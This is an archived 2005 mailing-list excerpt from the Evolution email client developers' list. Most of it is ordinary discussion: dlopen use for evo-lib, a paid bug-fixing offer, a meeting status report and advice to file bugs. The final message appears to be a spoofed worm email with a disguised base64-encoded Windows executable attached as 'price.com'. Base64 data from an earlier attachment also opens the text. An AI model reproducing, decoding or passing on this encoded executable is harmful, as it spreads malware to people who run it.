/////////////////////////8LCwsLCwsLC7AoKCgoKCm1tbW3s7Ozs7Ozs7Ozs7Ozs7Ozs 7Ozs7OzsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAgAgIBAAAQAEAOgCAAABACAgAAABAAgA qAgAAAIAoi8nXlfEj5JIXZwoo8EsrGGZWHa9N6ier8ctp2OGPLTEQXAFrho6SXsyUgmrDU8D FWNrq6A+IlwIe6LHTrolcXJndmPDsiorM5AeBVxcVk1gXiNOlWGNc1qAQUOXW7xeklythgBN WwFFDESIkWVghVyiQbF4m4gfe2EwDAEnk0VkMS2BproBb0RTDk6xNS4YnhEpRqVIRD5Xap0p jKM2ZaRVnasBCq2ZEbEqRkBkr3oSQEAdaHq9LCcTwIBriZOoZ8a5ColgDHiiaE51bYcYcLHG VbpVFpodc1tpCkeuqqM8UThCih58Fh5AAsAtwSjEdgZsjriAFlaDqQPBGhysYJtxmBRdJ3hV FzItHyAxq1pko8CjBiY3YrJZkJHFw2RbWahtFhW/DJcXK8GJORFDHKIlMbRTvXWjG1CNZyRu Cb2LCA5WRcESTL0RubKImlSdeFYrwE09TcV+np5DF5U3kqFVB1xww5yGn4ZxvHM4UI2qO788 sKwFgwKFcgRDHmEivJBUuZi6MQsxlBWmQDwPoVPCpHBhU7BtPQVQL2gJYikgE1uxecV7CzUE bE5WLZpvDBZWkFTBQl24oVJcY1V7RFQkgJBOYgc3KiZ9N20cQAJVooYNcZCePoW5YAUtxY2I bwmWHQ== ----------oxbkhovhmnbptnahumzq-- From owner-evolution-hackers@skeptopotamus.ximian.com Tue Feb 8 06:25:03 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id D7C2A1248D1; Tue, 8 Feb 2005 06:25:03 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 75ED5124480 for ; Tue, 8 Feb 2005 06:24:45 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 3CF87633FA; Tue, 8 Feb 2005 06:24:45 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by skeptopotamus.ximian.com (Postfix) with ESMTP id 27BDA633D6 for ; Tue, 8 Feb 2005 06:24:45 -0500 (EST) Received: (qmail 29980 invoked from network); 8 Feb 2005 11:24:44 -0000 Received: from localhost (HELO linux.site) (michael@127.0.0.1) by localhost with SMTP; 8 Feb 2005 11:24:44 -0000 Subject: Re: [Evolution-hackers] Re: dlopen / API hooks for evolution ... From: michael meeks Reply-To: michael.meeks@novell.com To: Frank =?ISO-8859-1?Q?Sch=F6nheit?= "- Sun Microsyste=?UTF-8?Q?ms=2C_Inc.?=" Cc: ls@skeptopotamus.ximian.com, JP Rosevear , evolution In-Reply-To: <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> Content-Type: text/plain; charset=ISO-8859-1 Organization: Novell, Inc. Date: Tue, 08 Feb 2005 11:14:47 +0000 Message-Id: <1107861287.20489.45.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-12.4 required=5.0 tests=IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Mon, 2005-02-07 at 06:15 +0000, Frank Schönheit - Sun Microsyste=?UTF-8?Q?ms=2C_Inc.?= wrote: > > We had earlier created "dlopen hack" for evo-lib dependancy. Can we > > remove it now!! > > For the evo-lib, I don't consider usage of dlopen a hack. Quite - indeed, it's necessary to work with both evo 2.0 and 2.2 tragically. So - basically, Jayant - all that needs doing is to add some makefile.mk conditionals and a configure switch here. Frank - shall I commit what we have now to a cws ? and add the conditionals there ? do you have other comments / problems ? Thanks, Michael. -- michael.meeks@novell.com <><, Pseudo Engineer, itinerant idiot From owner-evolution-hackers@skeptopotamus.ximian.com Wed Feb 9 06:24:04 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4D18A1243DC; Wed, 9 Feb 2005 06:24:04 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 5CC2412411C for ; Wed, 9 Feb 2005 06:23:52 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 221596306E; Wed, 9 Feb 2005 06:23:52 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from smtp.schwaar.com (smtp.schwaar.com [212.31.69.154]) by skeptopotamus.ximian.com (Postfix) with ESMTP id B19B1631E1 for ; Wed, 9 Feb 2005 06:23:50 -0500 (EST) Received: from groupware.schwaar.com (groupware.schwaar.com [10.96.96.182]) by smtp.schwaar.com (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id j19BNIh26592 for ; Wed, 9 Feb 2005 12:23:18 +0100 Received: from ibm-y0znk7bnw8m (t41.schwaar.com [10.96.96.221]) (authenticated bits=0) by groupware.schwaar.com (8.12.11/8.12.11/Debian-5) with ESMTP id j19BNGsw007879 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Wed, 9 Feb 2005 12:23:17 +0100 From: Juraj Holtak To: evolution In-Reply-To: <1107861287.20489.45.camel@linux.site> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> <1107861287.20489.45.camel@linux.site> Content-Type: text/plain Date: Wed, 09 Feb 2005 12:23:24 +0100 Message-Id: <1107948205.6935.12.camel@localhost> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-4.3 required=5.0 tests=BAYES_30,IN_REP_TO,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Looking for evolution-exchange developers... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi List! My Company is willing to PAY an evolution and evolution-exchange hacker to fix bugs. We have many installations of debianised evolution in a MS Exchange enviroment and the bugs pop up faster than they are getting fixed in the debian repository. If u have the will and know-how, please email me. This is a serious offer. Juraj Holtak SCHWAAR.COM Austria From pchenthill@novell.com Wed Feb 9 08:45:14 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 92BFE1242FA; Wed, 9 Feb 2005 08:45:14 -0500 (EST) Received: from yahoo.blr.novell.com (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id 640FA124064 for ; Wed, 9 Feb 2005 08:45:02 -0500 (EST) Received: by yahoo.blr.novell.com (Postfix, from userid 0) id 917AB29E91; Wed, 9 Feb 2005 19:15:31 +0530 (IST) From: chen To: JP Rosevear Cc: gene-pool@ximian.com, Evolution Hackers mailing list In-Reply-To: <1107276184.29099.11.camel@bishop.rosevear.com> References: <1107276184.29099.11.camel@bishop.rosevear.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Wed, 09 Feb 2005 19:15:29 +0530 Message-Id: <1107956730.3828.12.camel@yahoo.blr.novell.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: [gene-pool] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi, Fixed some bugs and crashes in groupwise calendar and committed the string changes. Did the list moderation. thanks, chenthill. On Tue, 2005-02-01 at 11:43 -0500, JP Rosevear wrote: > Novell people, send a status report if you can't make it. 10am Boston time > (UTC -0500) on Wednesday. > > This meeting will take place on irc.gimp.org, #evolution-meet > > 1. JP > -2.1 development status > -2.1 String freeze > -2.1 notification reminder > -Patch review mode > -2.0.4 bugs and timeline > > 2. Harish on the wiki > > 3. Team > -individual status reports > > 4. Additional Business > -questions, concerns, etc. > > -JP From owner-evolution-hackers@skeptopotamus.ximian.com Wed Feb 9 19:04:32 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id A4F171245AF; Wed, 9 Feb 2005 19:04:32 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id F37D7124D02 for ; Wed, 9 Feb 2005 19:03:59 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id BE451636BE; Wed, 9 Feb 2005 19:02:31 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by skeptopotamus.ximian.com (Postfix) with ESMTP id AD07363B89 for ; Wed, 9 Feb 2005 19:02:31 -0500 (EST) Received: (qmail 1280 invoked from network); 10 Feb 2005 00:02:30 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 10 Feb 2005 00:02:30 -0000 Subject: Re: [Evolution-hackers] Looking for evolution-exchange developers... From: Not Zed To: Juraj Holtak Cc: evolution In-Reply-To: <1107948205.6935.12.camel@localhost> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> <1107861287.20489.45.camel@linux.site> <1107948205.6935.12.camel@localhost> Content-Type: multipart/alternative; boundary="=-aM26uOcaPDF/Jp7jPqnO" Date: Thu, 10 Feb 2005 07:57:19 +0800 Message-Id: <1107993439.4511.21.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-24.0 required=5.0 tests=ASCII_FORM_ENTRY,BAYES_01,EMAIL_ATTRIBUTION,HTML_30_40, IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-aM26uOcaPDF/Jp7jPqnO Content-Type: text/plain Content-Transfer-Encoding: 7bit FYI, Are you filing bugs against ximian-connector in ximian's bug system at bugzilla.ximian.com? Thats the only way real bugs are going to get fixed. On Wed, 2005-02-09 at 12:23 +0100, Juraj Holtak wrote: > Hi List! > > My Company is willing to PAY an evolution and evolution-exchange hacker > to fix bugs. We have many installations of debianised evolution in a MS > Exchange enviroment and the bugs pop up faster than they are getting > fixed in the debian repository. If u have the will and know-how, please > email me. > This is a serious offer. > > Juraj Holtak > SCHWAAR.COM > Austria > > > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers --=-aM26uOcaPDF/Jp7jPqnO Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
FYI, Are you filing bugs against ximian-connector in ximian's bug system at bugzilla.ximian.com?  Thats the only way real bugs are going to get fixed.

On Wed, 2005-02-09 at 12:23 +0100, Juraj Holtak wrote: 
Hi List!

My Company is willing to PAY an evolution and evolution-exchange hacker
to fix bugs. We have many installations of debianised evolution in a MS
Exchange enviroment and the bugs pop up faster than they are getting
fixed in the debian repository. If u have the will and know-how, please
email me.
This is a serious offer.

Juraj Holtak
SCHWAAR.COM
Austria




_______________________________________________
evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
http://lists.ximian.com/mailman/listinfo/evolution-hackers
--=-aM26uOcaPDF/Jp7jPqnO-- From notzed@ximian.com Wed Feb 9 21:35:46 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5F1F7124030; Wed, 9 Feb 2005 21:35:46 -0500 (EST) Received: from pc4.org (unknown [222.126.19.19]) by lists.ximian.com (Postfix) with SMTP id 2D5B012421A for ; Wed, 9 Feb 2005 21:35:42 -0500 (EST) Date: Thu, 10 Feb 2005 09:39:38 -0800 To: "Evolution-hackers" From: "Notzed" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------vhlhfodqfrrwzyzwayos" X-Spam-Status: No, hits=3.1 required=5.0 tests=BAYES_30,DATE_IN_FUTURE_12_24,HTML_30_40,MIME_HTML_ONLY, RAZOR2_CF_RANGE_91_100 version=2.53 X-Spam-Level: *** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Thank you! Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: ----------vhlhfodqfrrwzyzwayos Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit :))
----------vhlhfodqfrrwzyzwayos Content-Type: application/octet-stream; name="price.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="price.com" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAQAAAAFBFAABMAQUAAAAAAAAAAAAAAAAA4AAPAQsBAAAAOgAAAEoAAAAAAAAAoAAA ABAAAABQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAACvUAAAACAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAnKIAANEAAAAA8AAACgUAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAABQAACwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAADoAAAAAAAC6OQAA ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAMAAAAAAAA8goAAABQAAAAAAAAAAAAAAAA AAAAAAAAAAAAAEAAAMAAMAAAAAAAAHU8AAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAADA AAAAAAAAAAAAUAAAAKAAAABEAAAAAgAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAACgUAAADw AAAKBQAAAEYAAAAAAAAAAAAAAAAAACAAAOBg6AEAAADog8QE6AEAAADpXYHt2SFAAOhvAgAA 6OsI6wLNIP8kJJpmvnJy6AEAAACaWY2VRiJAAOgBAAAAaVhmv3Nn6CoCAACNUvnoAQAAAOhb aMz/4ppmZ2ZnZmhmZ2hmdXV5dXlpdWl1eWl1dWZuaGf/5Gn/pbIkQADp6J7////rAs0gi8Tr As0ggQAWAAAAD4X0AQAAaegAAAAAWJlqFVqNBAJQ6MABAABmPYbzdAPpjZXoIkAA6LUBAADo AQAAAGmDxASNvTclQAC5xT4AALqgE0Dvigf20DLFMsIyxtLAAsECxQLCAsbSyCrBKsX20CrC KsbSwNLIMsHTwogHR0l10ugBAAAA6IPEBA8L6CvSZIsCiyBkjwJYXcOai5WyJEAA6EkBAADo AQAAAMeDxAS7JHoAAGoEaAAwAABTagD/lbYkQADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QE UI2VNyVAAFLoDgAAAOgBAAAAaYPEBFpeDlbLYIt0JCSLfCQo/LKApOhsAAAAc/gryehjAAAA cxorwOhaAAAAcyBBsBDoUAAAABLAc/d1QKrr1uh1AAAASeIU6GsAAADrLKzR6A+ElwAAABPJ 6xyRSMHgCKzoUQAAAD0AfQAAcwqA/AVzBoP4f3cCQUGVi8VWi/cr8POkXuuPAtJ1BYoWRhLS w+slNlU5NlU5OlU5NlVDNlU5NlUPOTZVOTpVOTZVQzZVOTZVD1VDOSvJQejH////E8nowP// /3Lyw+sjNlU5NlU5OlU5NlVDNlU5NlUPOTZVOTpVOTZVQzZVOTZVDzkrfCQoiXwkHGHD6wFp WFj/4FlSVY2F2iJAAFArwGT/MGSJIOsDx4ToUcPrA8eEmllB6/AAAAAAAAAAAOCiAAAAAAAA AAAAAPiiAADgogAA2KIAAAAAAAAAAAAABaMAANiiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFuj AAAAAAAAEKMAACGjAAAwowAAPqMAAE2jAAAAAAAAS0VSTkVMMzIuRExMAFVTRVIzMi5ETEwA AABHZXRQcm9jQWRkcmVzcwAAAExvYWRMaWJyYXJ5QQAAAEV4aXRQcm9jZXNzAAAAVmlydHVh bEFsbG9jAAAAVmlydHVhbEZyZWUAAABNZXNzYWdlQm94QQAAAAAAOOPsgmcZU9rvqSegZqhi 3GHFZPb1lPM0F85JitM9UFESsYF8QP/EiezhkOVdRRXCPcj/Im/5FKV1/mqpkw3yKvte95dg yrd1XilACv8JupNPzsEIInl8wpYfM/uyzxJ5UCcGHYPA4trGBRuKJ9HMfRfp5oMoJmjokqGD IT6M4CoueHICOjHBAtW3ZeSQ6aP9l9zd0k48/DcTSu1fEeiCOJL0d39g/xyab3CktnEkHUFT CFzisjUEyJsg4LLn9YPllwezsmCH/FoLDp8ttt5rlq2cy18Y2O3lemS1iy+B35D9veT2X3ys 6mupMisPtw82NJQBvU4U30nV3kdI4KNtHjiz9AUOmU+oQYcw9M3v9pJHb2MNmFxxkYvyqDWc e6RdxePV2t324hZBq8QYxv3max0++yYDcGkyACO8/G4KtSp3pWGzY1JcpBqpAbzhyP/ULnKA z0+b3f/VkRjRxB2PmaEIWHRwGhBrg0Uw0PSJe8Yg0h/2VmzAKy5oXOlQFRj8Zsw4db79HYlW Pr9+CuuEJTjld0kFDMxhu9qwrqoSyHV8udPRW1idiK0838ZRLmgqA95Jliqzqa8fl8gTLxr+ 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 